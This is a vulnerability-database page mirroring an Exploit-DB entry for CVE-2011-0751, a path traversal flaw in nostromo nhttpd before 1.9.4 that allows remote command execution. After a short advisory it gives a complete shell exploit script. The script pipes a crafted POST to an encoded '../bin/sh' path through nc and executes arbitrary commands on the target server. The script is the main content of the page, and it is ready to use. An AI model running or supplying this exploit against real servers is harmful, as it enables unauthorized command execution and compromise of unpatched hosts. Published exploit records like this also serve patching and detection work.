Lucene search
+L

nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution

🗓️ 05 Mar 2011 00:00:00Reported by RedTeam Pentesting GmbHType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

nostromo nhttpd 1.9.3 remote command-execution vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Path Traversal in Nazgul Nostromo_Nhttpd
15 Oct 201903:40
githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Nazgul Nostromo_Nhttpd
1 Jan 202013:28
githubexploit
circl
Circl
CVE-2011-0751
5 Mar 201100:00
circl
cve
CVE
CVE-2011-0751
16 Mar 201122:00
cve
cvelist
Cvelist
CVE-2011-0751
16 Mar 201122:00
cvelist
euvd
EUVD
EUVD-2011-0763
7 Oct 202500:30
euvd
nvd
NVD
CVE-2011-0751
16 Mar 201122:55
nvd
openvas
OpenVAS
nostromo nhttpd Directory Traversal Remote Command Execution Vulnerability
21 Mar 201100:00
openvas
openvas
OpenVAS
Nazgul Nostromo nhttpd < 1.9.4 RCE / Directory Traversal Vulnerability - Active Check
21 Mar 201100:00
openvas
openvas
OpenVAS
Nazgul Nostromo nhttpd < 1.9.4 Directory Traversal Vulnerability - Active Check
22 Mar 201100:00
openvas
Rows per page
source: https://www.securityfocus.com/bid/46880/info

nostromo nhttpd is prone to a remote command-execution vulnerability because it fails to properly validate user-supplied data.

An attacker can exploit this issue to access arbitrary files and execute arbitrary commands with application-level privileges.

nostromo versions prior to 1.9.4 are affected.

#!/bin/sh
######################################
#                                    #
#  RedTeam Pentesting GmbH           #
#  [email protected]     #
#  http://www.redteam-pentesting.de  #
#                                    #
######################################

if [ $# -lt 3 ]; then
    echo "Usage: $(basename $0) HOST PORT COMMAND..."
    exit 2
fi


HOST="$1"
PORT="$2"
shift 2

( \
    echo -n -e 'POST /..%2f..%2f..%2fbin/sh HTTP/1.0\r\n'; \
    echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \
    echo "$@ 2>&1" \
) | nc "$HOST" "$PORT" \
  | sed --quiet --expression ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation